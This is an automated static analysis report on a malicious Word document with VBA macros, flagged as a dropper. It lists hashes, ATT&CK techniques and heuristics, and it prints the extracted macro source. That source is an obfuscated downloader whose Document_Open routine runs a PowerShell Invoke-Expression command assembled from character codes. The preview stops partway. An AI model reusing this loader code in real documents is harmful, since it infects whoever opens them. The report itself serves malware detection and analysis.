Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f83cc285daafdf5d…

MALICIOUS

Office (OLE)

109.2 KB Created: 2018-06-14 12:34:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 298be5def3def9843fcb0ab193b2dbe1 SHA-1: ca0fd99e142298b2bb666c6e8c3b4efb6aaff620 SHA-256: f83cc285daafdf5df41e33c375d6fcab895c8337f9a6ffaa70bb2e6274ef641c
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate that the 'Document_Open' macro executes a shell command. This is a common pattern for macro-based downloaders that fetch and execute additional malicious content.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6614423-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6614423-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16944 bytes
SHA-256: 92e426fe8674ec1350beaf8315f28b3bdc345f3cc3c8433e2c9df257f8961a57
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YAEWQUz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function oMHOpA()
On Error Resume Next
HobwT = SuAkMX - CFmdSE / 22051 / afqiJa - 223327908 + Hex(LzHlnv) * ztwJV - Round(69659)
nXXtf = Sqr(27240)
kdWld = 49296 + drHYv + (31247 * CDbl(NpmTz) - hRiVBQ / CSng(3270) - alUvc / Hex(CnOHd) + 29479 - 36566)
kifwpv = mwbuww
bRTBKZ = utJzz - zDwUk / 99446 / ifZCN - 223327908 + Hex(jPzUip) * SJiSl - Round(97161)
GXVarN = Sqr(36096)
JkQJQo = 68809 + cbkAj + (15511 * CDbl(jIjbhN) - aqmVu / CSng(50665) - fKkwm / Hex(IjzFvI) + 20246 - 88639)
NXQrXE = kubaCz
uWWVdt = RYWLM - ULzij / 86081 / lbkMaK - 223327908 + Hex(CCqEo) * BfrEF - Round(48458)
bYBMZ = Sqr(33162)
JNvrQ = 76216 + pHuZa + (18961 * CDbl(wqYdil) - fTiarR / CSng(26560) - vaOabD / Hex(NmCwZ) + 34845 - 40497)
cKBzL = XHTYFH
wHzdp = zJsVc - bRhcm / 20678 / OfSbOA - 223327908 + Hex(BLwLD) * GRDBo - Round(330)
ViFuJ = Sqr(83820)
joITmK = 92039 + pOPiS + (43778 * CDbl(KoTud) - jfQwJ / CSng(95521) - BIldX / Hex(HWsMF) + 89990 - 18120)
wVdbO = JvQYS
oMHOpA = EQNXzjqBwG + VBA.Shell(iXJYzluzR + Chr(vGJYnhHB + vbKeyP + uVwbTrIzQq) + "owers" + ICdDQFcRVvG + JmoKJGj + VDLoI + YNfjaGnFBMi + KfJwqAuj + jPdHLMUGmUZ + hjWIKajoIU, 78768 - 78768)
ShHUV = OvwLk - SWpwr / 55495 / pKiPP - 223327908 + Hex(nSwKm) * NlNYKL - Round(31197)
TZzcY = Sqr(52806)
cYjfi = 56284 + WoMjR + (55473 * CDbl(JNjnl) - uGSRkl / CSng(34214) - MWqrTl / Hex(sXVFWM) + 56779 - 37590)
AIMArc = iooGTk
jibEOL = FHwzw - ffRZo / 20142 / TPwhnt - 223327908 + Hex(NhCpIU) * wMiuBc - Round(55103)
wpFuwf = Sqr(98381)
HlwkSs = 8467 + oQkKVX + (47695 * CDbl(wfnbV) - jjZDmw / CSng(73037) - TjiqGz / Hex(nrTLZ) + 96423 - 86408)
mJaIL = TBdibH
End Function
Private Sub Document_open()
On Error Resume Next
UnAOFO = ZQbzf - aETdz / 77137 / BHpjP - 223327908 + Hex(wcXTW) * qpMzI - Round(24990)
VGUklr = Sqr(3762)
UQhuR = 40144 + BYFHrc + (9638 * CDbl(SminhK) - LTirE / CSng(16289) - sjhmI / Hex(hijdjs) + 53160 - 80423)
Ecwwp = KoVIV
PfSsVa = sHMJj - TdzjOE / 37827 / nXrwZ - 223327908 + Hex(MluWd) * WVcYGd - Round(51045)
sUrhw = Sqr(81428)
DwqNwR = 97344 + PjCzEl + (79883 * CDbl(NFKQWX) - zrXFFl / CSng(7134) - WMkIrz / Hex(ArOjAn) + 2105 - 34930)
QXDPRi = auBBG
oMHOpA
OhHQZN = EzBsb - urhFhb / 34793 / SIRzk - 223327908 + Hex(HZXkR) * WWbZc - Round(89751)
wTSuNz = Sqr(60387)
cIbwwP = 98523 + NpfAO + (96964 * CDbl(Yckdo) - LjNbsS / CSng(96477) - mElJh / Hex(TzKhLf) + 28237 - 27540)
VboiUh = OWHSsW
MtfkEr = vISphq - LfbXwO / 45670 / jGzbP - 223327908 + Hex(zrYdT) * VLPIn - Round(67768)
oOwSwj = Sqr(22896)
NivZq = 36763 + zNiZQa + (39469 * CDbl(XQHcm) - caEivK / CSng(44202) - foiEu / Hex(raCjJF) + 71050 - 55170)
pdOiWn = Eclpj
End Sub


Attribute VB_Name = "oAnvuIzC"
Function ICdDQFcRVvG()
On Error Resume Next
jltBU = flkuj
zQssI = HWiKfa - MvkTBo / 32900 / XiYHS - 223327908 + Hex(wGMNKr) * DXlhsu - Round(81270)
KjIIz = 79837 + ijOjN + (88445 * CDbl(UOZmi) - dCvAmT / CSng(60105) - IrBnda / Hex(fzNOw) + 35625 - 41678)
RBfHSj = Sqr(31880)
MvjDXuFpYhE = "HeLL INvOke-e" + "xpResSiON([S" + "TrInG]::jOIn" + "( ''" + ", ( ["
klmvuF = vnQrz
zYjml = ZSiQFt - Dqjii / 63171 / GHttVH - 223327908 + Hex(zmbKN) * pUTzr - Round(7609)
ZiTlp = 14079 + QSzVi + (20205 * CDbl(XwlJu) - UnwlMX / CSng(47182) - KYwSsd / Hex(pRwCmh) + 52054 - 34459)
RMkwiz = Sqr(3569)
bmiqTXOp = "chAr" + "[]] ( 43 ,90" + " , 1" + "03 ,100" + " ," + "123 , 103, " + "47 , 50 ," + " 47 "
XkERVY = OVDRAQ
UiVTud = CPTLHw - wuvMUD / 67243 / MEZVS - 223327908 + Hex(QuwpZ) * OfodPM - Round(87159)
ApfnQ = 58447 + ZfGFs + (44492 * CDbl(iXjni) - SWDcXz / CSng(36908) - djJKw / Hex(pfoKa) + 49161 - 43958)
EzLdBd = Sqr(61781)
MlwGhWm = ",97," + "10" + "6 ,120 ,34" + " ,96 , " + "109,101 ," + "106,108" + " , 123," + " 47," + "125 , 11"
uHOPAH = QioJd
qATSQ = bjEAZ - IOplDN / 9544 / iGHvwE - 223327908 + Hex(zdl
... (truncated)

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